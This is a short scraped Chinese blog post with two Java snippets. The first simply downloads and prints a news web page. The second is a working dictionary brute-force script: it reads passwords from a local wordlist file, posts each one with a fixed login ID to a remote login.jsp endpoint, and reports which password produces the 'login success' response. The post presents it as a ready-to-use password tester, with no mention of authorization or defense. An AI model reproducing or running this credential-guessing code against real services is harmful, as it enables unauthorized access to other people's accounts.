获取 web界面数据

来源:互联网 发布:生死手游刷金币软件 编辑:程序博客网 时间:2024/06/05 00:27
public static void main(String[] args) {
try {
URL url = new URL("http://news.baidu.com/");
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.connect();//根据url连接服务器
// 创建字符流,也可以创建字节流
BufferedReader br = new BufferedReader(new InputStreamReader(
conn.getInputStream()));
String line = null;
// 读取页面资源
while ((line = br.readLine()) != null) {
System.out.println(line);
}
} catch (IOException e) {
e.printStackTrace();
}

}


///------ 测试密码是否正确

public static void main(String[] args) {
try {
URL url = new URL("http://1.1.1.1:20000/login.jsp");
BufferedReader br = new BufferedReader(new InputStreamReader(
new FileInputStream("F:\\work\\tmp\\password.txt")));
String passwd = null;
while ((passwd = br.readLine()) != null) {
// 每次读取一行(字典文件),创建一次连接
HttpURLConnection conn = (HttpURLConnection) url
.openConnection();
// 一下属性 可以打开Google浏览器进入处理页面后,按CTRL+SHIFT+I看到
conn.setRequestProperty("Accept",
"*/*");
conn.setRequestProperty("Accept-Encoding", "gzip,deflate,sdch");
conn.setRequestProperty("Connection", "keep-alive");
conn.setDoInput(true);
conn.setDoOutput(true);
// 打开远程输出流,准备向服务器发送请求参数
PrintStream ps = new PrintStream(conn.getOutputStream());
ps.print("loginId=abc&password=" + passwd);
ps.flush();
// 从远程服务器读取响应
BufferedReader br2 = new BufferedReader(new InputStreamReader(
conn.getInputStream()));
String line = null;
while ((line = br2.readLine()) != null) {
if (line.contains("登录成功")) {
System.out.println("正确的密码为:" + passwd);
} else
System.out.println("错误的密码为:" + passwd);
}
}
} catch (IOException e) {
e.printStackTrace();
}
}

0 0
原创粉丝点击